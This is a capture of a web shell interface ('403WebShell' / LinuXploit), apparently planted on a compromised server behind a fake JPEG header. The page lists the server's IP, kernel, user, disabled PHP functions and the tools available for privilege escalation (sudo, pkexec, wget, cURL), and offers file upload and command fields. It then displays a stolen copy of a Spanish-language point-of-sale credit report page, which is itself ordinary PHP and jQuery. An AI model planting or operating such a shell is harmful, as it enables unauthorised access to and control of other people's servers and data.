����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.206
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/salesCreditOLD/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/salesCreditOLD//ReportCredit.php
<?php 
$titlepage="Reporte Creditos";
$idsmenu=2;
include "../../library/config.php";
require_once("../model/dbconn.php");
require_once("../model/pos.php");
include "../layout/top-header.php"; 
include "../../library/check_login.php";
include "../../library/check_access.php";
date_default_timezone_set("America/Mexico_City");
 
?> 	
<link rel="stylesheet" href="../../dist/css/bootstrap-switch.min.css">
<link rel="stylesheet" href="../../plugins/datepicker/datepicker3.css">

<section class="content" name="formulario">
			<div class="box-header with-border">
		
						<div class="col-md-16">
								<div class="input-group ">
										<span class="input-group-addon" id="EmpleadoID"></span>
									<input type="text"  class="form-control" id="txtEmpleado"  placeholder="Buscar por  vendedor...">
									
									<span class="input-group-btn ">
										
										<a href="#" title="Imprimir Reporte de Mercancia en transito" class="btn btn-info " id="btnBuscarXVendedor" name="btnBuscarXVendedor">
											<i class="fa  fa-user"> Reporte de Ventas Por Vendedor</i>
										</a>
													
									</span>
									
									
									<span class="input-group-btn ">
										<button type="submit" title="Imprimir Reporte" class="btn btn-warning" id="btnImprimir" ><i class="fa fa-print"></i></button>
															
										</span>
								</div>
						</div>
							<br>
							
						<div class="row" style="div {text-align: center;">	
							<div class="col-md-4">	
									<div class="input-group ">
									<input readonly="" type="text" class="form-control txtfirstperiod" id="txtfirstperiod"  value="Buscar fecha de" >
									<span class="input-group-btn ">
											<button type="submit" title="Buscar Por Nombre" class="btn btn-primary " id="#" name="">
												<i class="fa  fa-calendar-minus-o"></i>
											</button>						
								   </span>
								   </div>
						  </div>	
						
						  <div class="col-md-4">
								   <div class="input-group input-group-block"">
								   <input readonly="" type="text" class="form-control txtlastperiod" id="txtlastperiod"  value="Buscar fecha a" >
									<span class="input-group-btn ">
											<button type="submit" title="Buscar Por Nombre" class="btn btn-primary " id="#" name="">
												<i class="fa  fa-calendar-plus-o"></i>
											</button>							
								   </span>
								   </div>
						 </div>
						 
							  <div class="btn-group btn-group-block"">
								   <button type="submit" title="Buscar Por Nombre" class="btn btn-primary " id="btnBuscarXFechaVentasCredit" name="btnBuscarXFechaVentasCredit">
												<i class="fa  fa-search">   Reporte de Ventas Por Fechas</i>
											</button>
									
							 </div>	
											 
							 
					 </div>	
					 
			</div>
	<!--AREA DE IMPRESION INICIO  <di class="row" id="area_impresion">-->		
<div class="row" id="area_impresion">


		<div class="col-md-16">
			<div class="box box-primary">
				<div class="box-header with-border">
					<h3 class="bordercool">Ventas a Credito General  </h3>
					
					
				</div><!--./ box header-->
			    <style>
					table.dataTable td {
						  font-size: 1em;
						}
					table.dataTable tr.dtrg-level-0 td {
						  font-size: 1.1em;
						}
				</style>
				<div class="col-md-16">
					<div class="box-body">
					<div id="Oculto"></div>
						<div class="box-body table-responsive no-padding">
							<table id="table_credit" class="table  table-bordered table-hover ">
								<thead>
									<tr class="tableheader">
										<th style="width: 80px">Fecha Venta</th>
										<th style="width:250px">Vendedor</th>
										<th style="width:50px">Contrato</th>
										<th style="width:200px">Nombre de Cliente</th>
										<th style="width:200px">Direccion</th>
										<th style="width:200px">Mercancia</th>
										<th style="width:100px">Monto de Credito</th>

										
									</tr>
									
									
								</thead>
								<tbody></tbody>
							</table>

						</div>				
					</div><!-- /.box-body -->
				</div>
				
			</div><!-- /.box -->
		</div><!-- /.col-md-8 -->
	</div><!-- /.row -->
	
<!--AREA DE IMPRESION FIN  <di class="row" id="area_impresion">-->	


</section><!-- /.content -->



<div id="modaleditparam2" class="modal fade ">
	<div class="modal-dialog modal-sm">
		<div class="modal-content">
			<div class="modal-header">
				<button type="button" class="close" data-dismiss="modal">×</button>
				<h4 class="modal-title">Precios</h4>
			</div><!--modal header--> 
			<div class="modal-body">
				<div class="form-horizontal">
					<div class="box-body">
						<div id="precios"></div>
						
						
						<input type="hidden" id="txtbarcode" >
						<input type="hidden" id="txtkey2">
						<input type="hidden" id="txtdataparam2">
						
						<div class="form-group">  
							<label class="col-sm-6  control-label">
								<button type="submit" class="btn btn-primary " id="btnubahedit2" >
									<i class="fa fa-edit"></i> Actualizar
								</button> 
								<span id="infoproses"></span>
							</label> 
							
						</div>
					</div>
				</div>
				<div class="modal-footer">
				<button type="button" class="btn btn-default" data-dismiss="modal">Cerrar</button>
			</div><!--modal footer-->
			</div>
			
		</div><!--modal-content-->
	</div><!--modal-dialog modal-lg-->
</div><!--modaleditparam-->


	
<?php include "../layout/footer.php"; //footer template ?> 
<?php include "../layout/bottom-footer.php"; //footer template ?> 
<script src="../../plugins/datepicker/bootstrap-datepicker.js"></script>
<script src="../../dist/js/redirect.js"></script>
<script src="j_pos.js"></script>

<script type="text/javascript">


//buscar cliente en reporte de ventas
	$( "#txtEmpleado" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		
		source: function(request, response) {
			$.getJSON("autocomplete_collector.php", { term: $('#txtEmpleado').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
				
				$("#txtEmpleado").val(ui.item.name);	
				document.getElementById('EmpleadoID').innerHTML = ui.item.id_empl;
				
			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.label + "</dt>"+item.id_ruta+ "</dl>"  )
		.appendTo( ul );
};


//buscar por vendedor
$(document).on("click",'#btnBuscarXVendedor',function(){

	var vendedor_id = document.getElementById("EmpleadoID").innerHTML;
	
	
	if(vendedor_id == '' || vendedor_id == null)
	{
		$.notify({
			message: "Registre Vendedor antes de continuar"
		},{
			type: 'warning',
			delay: 3000,
		});
		return;
	}
	
	var value = {
		vendedor_id : vendedor_id,
		method : "list_creditSeller"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result == true && data.count > 1)
			{
				
				$("#table_credit tbody").html(data.hasil);
				
				$.notify({
					message: "Mercancia vendida por Id: " + data.vendedor_id 
				},{
					type: 'success',
					delay: 1000,
				});
				
			}else{
				$.notify({
					message: "Registros no Encontrados"
				},{
					type: 'danger',
					delay: 3000,
				});
				set_focus("#txtEmpleado");
				return;
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$.notify({
					message: "Error General de busqueda por Jefe de Ventas"
				},{
					type: 'danger',
					delay: 3000,
				});
		}
	});


});

//buscar por fecha  mercancia entregada desde ventas
$(document).on("click",'#btnBuscarXFechaVentasCredit',function(){

	var vendedor_id = document.getElementById("EmpleadoID").innerHTML;
	var first = $("#txtfirstperiod").val();
	var last = $("#txtlastperiod").val();
	
	if(vendedor_id == '' || vendedor_id == null)
	{
		$.notify({
			message: "Registre Vendedor antes de continuar"
		},{
			type: 'warning',
			delay: 3000,
		});
		return;
	}
	
	if(first == '' || first == null)
	{
		$.notify({
			message: "Registre Fecha correctamente antes de continuar"
		},{
			type: 'warning',
			delay: 3000,
		});
		return;
	}
	
	var value = {
		vendedor_id : vendedor_id,
		first: first,
		last: last,
		method : "getVentasXFechasCredito"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result == true && data.count > 1)
			{
				
				$("#table_credit tbody").html(data.hasil);
				
				$.notify({
					message: "Mercancia Vendida por Vendedor Id: " + data.vendedor_id 
				},{
					type: 'success',
					delay: 1000,
				});
				
			}else{
				$.notify({
					message: "Registros no Encontrados o vendedor no tiene entregas de mercancia"
				},{
					type: 'danger',
					delay: 3000,
				});
				set_focus("#txtEmpleado");
				return;
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$.notify({
					message: "Error General de busqueda por Jefe de Ventas"
				},{
					type: 'danger',
					delay: 3000,
				});
		}
	});


});


//buscar por fecha  mercancia entregada desde ventas
$(document).on("click",'#btnBuscarXFecha',function(){

	var vendedor_id = document.getElementById("EmpleadoID").innerHTML;
	var first = $("#txtfirstperiod").val();
	
	
	if(vendedor_id == '' || vendedor_id == null)
	{
		$.notify({
			message: "Registre Vendedor antes de continuar"
		},{
			type: 'warning',
			delay: 3000,
		});
		return;
	}
	
	if(first == '' || first == null)
	{
		$.notify({
			message: "Registre Fecha correctamente antes de continuar"
		},{
			type: 'warning',
			delay: 3000,
		});
		return;
	}
	
	var value = {
		vendedor_id : vendedor_id,
		first: first,
		method : "getlistVentasXFecha"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result == true && data.count > 1)
			{
				
				$("#table_credit tbody").html(data.hasil);
				
				$.notify({
					message: "Mercancia Entregada por Vendedor Id: " + data.vendedor_id 
				},{
					type: 'success',
					delay: 1000,
				});
				
			}else{
				$.notify({
					message: "Registros no Encontrados o vendedor no tiene entregas de mercancia"
				},{
					type: 'danger',
					delay: 3000,
				});
				set_focus("#txtEmpleado");
				return;
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$.notify({
					message: "Error General de busqueda por Jefe de Ventas"
				},{
					type: 'danger',
					delay: 3000,
				});
		}
	});


});

//madar imprimir
$(document).on("click","#btnImprimir",function()
{
	imprimir();
})

//funcion imprimir
function imprimir() {
		if (window.print) {
				window.print();
			/*
				   var objeto = document.getElementById('area_impresion'); //obtenemos el objeto a imprimir
					var ventana = window.open('', '_blank'); //abrimos una ventana vacía nueva
					ventana.document.write(objeto.innerHTML); //imprimimos el HTML del objeto en la nueva ventana
					ventana.document.close(); //cerramos el documento
					ventana.print(); //imprimimos la ventana
					ventana.close(); //cerramos la ventana
			*/		
				
			} else {
				alert("La función de impresion no esta soportada por su navegador.");
			}
	}

//traer la tabla de ventas General
			$('#table_credit').DataTable({
				"paging": false,
				"lengthChange": false,
				"searching": false,
				"processing": true,
				"ordering": false,
				"info": false,
				"responsive": true,
				"autoWidth": false,
				"pageLength": 100,
				"dom": '<"top"f>rtip',
				"fnDrawCallback": function( oSettings ) {
				},
				"ajax": {
					"url": "c_pos.php",
					"type": "POST",
					"data" : {
						method : "list_credit"
					},
					error: function (request, textStatus, errorThrown) {
						swal(request.responseJSON.message);
					}
				},

				columns: [
				/*
				{ "data": null,render :  function ( data, type, full, meta ) {
					return  meta.row + 1;
				}},*/
				{ "data": "sale_date" },
				{ "data": "vendedor" },
				{ "data": "id_client" },
				{ "data": "cliente" },
				{ "data": "direccion" },
				{ "data": "item_name" },
				{ "data": "total" },
				/*
				{ "data": null, render : function(data,type,row){
					return "<button title='Editar' class='btn btn-edit btn-warning btn-xs'><i class='fa fa-desktop'></i> Detalles</button>  <button title='borrar' class='btn btn-hapus  btn-info btn-xs'><i class='fa fa-bank'></i> Abonos</button> ";
				} 		},
				*/
				]
			});
   
</script>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit